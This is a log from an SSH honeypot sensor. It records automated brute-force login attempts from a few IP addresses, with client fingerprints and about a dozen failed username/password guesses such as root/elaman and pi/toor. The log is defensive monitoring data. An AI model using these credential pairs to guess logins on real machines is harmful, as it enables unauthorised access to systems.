{"eventid":"cowrie.login.failed","username":"root","password":"elaman","message":"login attempt [root/elaman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:44.276900Z","src_ip":"62.133.62.83","session":"2c199a93a4f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:44.496297Z","src_ip":"51.250.105.222","session":"8fee03f979c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"user","message":"login attempt [openclaw/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:45.013971Z","src_ip":"91.92.42.133","session":"a88d09a13174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:45.356698Z","src_ip":"62.133.62.83","session":"2c199a93a4f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:46.120065Z","src_ip":"91.92.42.133","session":"a88d09a13174","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33786,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9bc6530d570","protocol":"ssh","message":"New connection: 91.92.40.171:33786 (159.203.135.109:22) [session: c9bc6530d570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:47.458366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:47.462656Z","src_ip":"91.92.40.171","session":"c9bc6530d570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123","message":"login attempt [app/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:47.883562Z","src_ip":"91.92.40.171","session":"ad5c2d64e6eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:48.385299Z","src_ip":"91.92.40.171","session":"c9bc6530d570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:49.982155Z","src_ip":"91.92.40.171","session":"ad5c2d64e6eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57862,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c01f0f17180","protocol":"ssh","message":"New connection: 91.92.42.133:57862 (159.203.135.109:22) [session: 7c01f0f17180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:50.165378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:50.188565Z","src_ip":"91.92.42.133","session":"7c01f0f17180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:50.277297Z","src_ip":"91.92.42.133","session":"7c01f0f17180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:50.462736Z","src_ip":"91.92.40.171","session":"c9bc6530d570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"toor","message":"login attempt [pi/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:50.819731Z","src_ip":"91.92.42.133","session":"7c01f0f17180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33818,"dst_ip":"159.203.135.109","dst_port":22,"session":"66c51c69a0bb","protocol":"ssh","message":"New connection: 91.92.40.171:33818 (159.203.135.109:22) [session: 66c51c69a0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:51.576063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:51.641783Z","src_ip":"91.92.40.171","session":"66c51c69a0bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:51.733277Z","src_ip":"91.92.40.171","session":"66c51c69a0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:52.030014Z","src_ip":"91.92.42.133","session":"7c01f0f17180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:52.139802Z","src_ip":"91.92.40.171","session":"66c51c69a0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:52.152585Z","src_ip":"91.92.40.171","session":"c9bc6530d570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:53.246343Z","src_ip":"91.92.40.171","session":"66c51c69a0bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47352,"dst_ip":"159.203.135.109","dst_port":22,"session":"41d0ac693e5d","protocol":"ssh","message":"New connection: 91.92.42.133:47352 (159.203.135.109:22) [session: 41d0ac693e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:55.920229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:56.002251Z","src_ip":"91.92.42.133","session":"41d0ac693e5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:56.005386Z","src_ip":"91.92.42.133","session":"41d0ac693e5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234567890","message":"login attempt [sam/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:56.641926Z","src_ip":"91.92.42.133","session":"41d0ac693e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44390,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7420bc4c629","protocol":"ssh","message":"New connection: 91.92.40.171:44390 (159.203.135.109:22) [session: b7420bc4c629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:57.179163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:57.406581Z","src_ip":"91.92.40.171","session":"b7420bc4c629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:57.410136Z","src_ip":"91.92.40.171","session":"b7420bc4c629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:57.729235Z","src_ip":"91.92.42.133","session":"41d0ac693e5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:58.074294Z","src_ip":"91.92.40.171","session":"b7420bc4c629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:59.162421Z","src_ip":"91.92.40.171","session":"b7420bc4c629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47384,"dst_ip":"159.203.135.109","dst_port":22,"session":"dec5d5fadda7","protocol":"ssh","message":"New connection: 91.92.42.133:47384 (159.203.135.109:22) [session: dec5d5fadda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:01.177771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:01.208968Z","src_ip":"91.92.42.133","session":"dec5d5fadda7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:01.278660Z","src_ip":"91.92.42.133","session":"dec5d5fadda7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:01.717324Z","src_ip":"91.92.42.133","session":"dec5d5fadda7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:02.865124Z","src_ip":"91.92.42.133","session":"dec5d5fadda7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44442,"dst_ip":"159.203.135.109","dst_port":22,"session":"66879028ee37","protocol":"ssh","message":"New connection: 91.92.40.171:44442 (159.203.135.109:22) [session: 66879028ee37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:04.456624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:04.570396Z","src_ip":"91.92.40.171","session":"66879028ee37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:05.453762Z","src_ip":"91.92.40.171","session":"66879028ee37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52652,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd1c99ae08e9","protocol":"ssh","message":"New connection: 91.92.42.133:52652 (159.203.135.109:22) [session: dd1c99ae08e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:06.539065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:06.566498Z","src_ip":"91.92.42.133","session":"dd1c99ae08e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:06.633463Z","src_ip":"91.92.42.133","session":"dd1c99ae08e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:06.971481Z","src_ip":"91.92.42.133","session":"dd1c99ae08e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:29:08.088868Z","src_ip":"91.92.42.133","session":"dd1c99ae08e9","protocol":"ssh"}
